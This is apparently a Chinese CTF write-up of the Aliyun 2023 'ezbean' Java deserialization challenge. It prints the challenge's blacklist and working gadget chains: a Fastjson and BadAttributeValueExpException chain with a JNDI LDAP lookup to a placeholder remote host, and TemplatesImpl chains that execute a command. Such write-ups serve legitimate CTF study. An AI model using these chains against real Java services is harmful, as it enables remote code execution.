2023 Aliyun CTF ezbean 是一道 CTF java 反序列化题目。题目的目的是让选手通过一个 java 原生反序列化入口，最终达成 RCE。本文对题目的几种解法做了具体的分析，主要分为预期解法和非预期解法两种思路。通过对 Fastjson 在反序列化的行为分析，从两个方向攻克本题。

package com.ctf.ezser.utils;

import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;import java.util.Arrays;import java.util.HashSet;import java.util.Set;

public class MyObjectInputStream extends ObjectInputStream {

   private static final String[] blacklist = new String[]{           "java\\.security.*", "java\\.rmi.*",  "com\\.fasterxml.*", "com\\.ctf\\.*",           "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"   };

   public MyObjectInputStream(InputStream inputStream) throws IOException {      super(inputStream);   }

   protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {      if(!contains(cls.getName())) {         return super.resolveClass(cls);      } else {         throw new InvalidClassException("Unexpected serialized class", cls.getName());      }   }

   public static boolean contains(String targetValue) {      for (String forbiddenPackage : blacklist) {         if (targetValue.matches(forbiddenPackage))            return true;      }      return false;   }}

package com.ctf.ezser.bean;

import java.io.IOException;import java.io.Serializable;import javax.management.remote.JMXConnector;

public class MyBean implements Serializable {

   private Object url;   private Object message;   private JMXConnector conn;



   public MyBean() {}

   public MyBean(Object url, Object message) {      this.url = url;      this.message = message;   }

   public MyBean(Object url, Object message, JMXConnector conn) {      this.url = url;      this.message = message;      this.conn = conn;   }

   public String getConnect() throws IOException {      try {         this.conn.connect();         return "success";      } catch (IOException var2) {         return "fail";      }   }

   public void connect() {}

   public Object getMessage() {      return this.message;   }

   public void setMessage(Object message) {      this.message = message;   }

   public Object getUrl() {      return this.url;   }

   public void setUrl(Object url) {      this.url = url;   }}

JSONObject json= new JSONObject();JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/ldap://xxx.xxx.xxx.xxx:1389/Tomcat");RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);MyBean myBean = new MyBean("a","a", rmiConnector);json.put("YYY", myBean);BadAttributeValueExpException poc = new BadAttributeValueExpException(1);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,json);byte[] code =  serialize(poc);deserialize(code);

exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class javax.management.remote.rmi.RMIConnector at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:516) at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:221)

Object tpl = createTemplatesImpl("open -a Calculator.app"); JSONObject jsonObject = new JSONObject(); jsonObject.put("gg",tpl); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,jsonObject);

Object tpl = createTemplatesImpl("open -a Calculator.app"); JSONObject jsonObject = new JSONObject(); jsonObject.put("gg",tpl); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,jsonObject); HashMap hashMap = new HashMap(); hashMap.put(tpl,poc); byte[] code = serialize(poc); deserialize(code);